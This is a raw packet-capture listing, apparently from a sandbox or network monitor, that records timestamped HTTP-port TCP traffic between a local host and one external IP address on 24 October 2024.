Oct 24, 2024 04:58:13.474787951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.474822998 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.474839926 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.474860907 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.474884987 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.474898100 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.474910021 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.474942923 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.475116968 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.475172997 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.475212097 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.475250006 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.475286007 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.475354910 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.475354910 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.475459099 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.475497961 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.475506067 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.475533962 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.475569010 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.475570917 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.475570917 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.475622892 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.475651979 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.475687981 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.475697041 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.475722075 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.475727081 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.475760937 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.475826025 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.475910902 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.475976944 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.476006985 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.476013899 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.476042986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.476079941 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.476083994 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.476115942 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.476120949 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.476155996 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.476291895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.476325035 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.476342916 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.476360083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.476382971 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.476560116 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.476593971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.476603985 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.476627111 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.476656914 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.476677895 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.516709089 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.516746998 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.516802073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.516822100 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.516838074 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.516865969 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.516875029 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.516896009 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.516912937 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.516918898 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.516967058 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.522283077 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.522345066 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.522398949 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.522413015 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.522464037 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.522521019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.522550106 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.522586107 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.522586107 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.522605896 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.522655010 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.522660971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.522695065 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.522707939 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.522728920 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.522733927 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.522763014 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.522780895 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.522799015 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.522809982 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.522834063 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.522845984 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.522870064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.522880077 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.522918940 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.551644087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.551706076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.551759005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.551804066 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.551810026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.551862001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.551896095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.551913023 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.551928997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.551947117 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.551965952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552016020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552057028 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.552115917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552165031 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.552170992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552202940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552236080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552268028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552278042 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.552300930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552335024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552345991 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.552369118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552370071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.552526951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552580118 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.552581072 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552628040 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.552633047 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552668095 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552680969 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.552701950 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552721024 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.552741051 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552787066 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.552794933 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552834034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.552846909 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552881002 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552891970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.552915096 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.552923918 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.552963972 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.553201914 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.553289890 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.553313017 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.553322077 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.553333044 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.553359032 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.553363085 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.553395987 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.553405046 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.553442955 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.553448915 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.553483963 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.553498030 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.553524971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.553527117 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.553585052 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.553745031 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.553797007 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.553800106 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.553848028 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.553852081 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.553884983 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.553894997 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.553920031 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.553930044 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.553966045 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.554143906 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.554198980 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.554204941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.554231882 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.554248095 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.554276943 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.591696024 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.591764927 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.591766119 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.591804028 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.591813087 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.591840982 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.591849089 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.591878891 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.591886997 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.591909885 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.591922045 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.591953039 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.591953039 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.591988087 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.591995001 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.592025042 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.592031956 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.592071056 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.592252970 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.592309952 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.592359066 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.592360973 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.592396975 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.592411041 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.592431068 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.592437983 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.592466116 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.592478037 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.592587948 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.592617989 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.592633963 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.592650890 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.592659950 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.592695951 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.592705965 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.592751026 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.592755079 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.592787027 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.592814922 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.592828035 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.593050003 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.593084097 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.593117952 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.593121052 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.593130112 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.593156099 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.593202114 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.593240023 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.593291044 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.593332052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.593363047 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.593379021 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.593477964 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.593508959 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.593518019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.593527079 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.593614101 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.593624115 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.593648911 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.593663931 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.593684912 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.593719959 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.593733072 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.593767881 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.598949909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.599036932 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.599039078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.599073887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.599107027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.599118948 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.599140882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.599175930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.599186897 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.599210978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.599245071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.599255085 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.633979082 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.634015083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.634072065 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.634079933 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.634107113 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.634126902 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.634140968 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.634155035 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.634176970 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.634188890 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.634229898 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.639448881 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.639503002 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.639538050 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.639558077 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.639573097 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.639585018 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.639609098 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.639619112 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.639642954 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.639652967 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.639678955 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.639688969 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.639713049 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.639722109 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.639748096 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.639760017 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.639791012 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.639822006 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.639868975 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.639877081 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.639909983 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.639920950 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.639946938 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.640084028 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.640119076 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.640130997 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.640151978 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.640160084 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.640197039 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.640878916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.640908003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.640928030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.640942097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.640975952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.641011953 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.669820070 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.669856071 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.669889927 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.669924974 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.669940948 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.669981003 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.669986963 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.669987917 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.670015097 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670052052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670069933 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.670078993 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670109987 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.670131922 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670133114 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.670167923 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670183897 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.670202017 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670222044 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.670237064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670243025 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.670284986 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.670384884 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670435905 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670439959 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.670471907 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670490980 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.670506954 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670526981 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.670542002 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670558929 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.670595884 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.670727015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670777082 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.670782089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670818090 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670871019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670907021 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670924902 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.670941114 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670963049 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.670975924 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.670986891 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.671011925 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.671034098 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.671065092 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.671363115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.671397924 CEST	80	49996	185.215.113.16	192.168.2.6
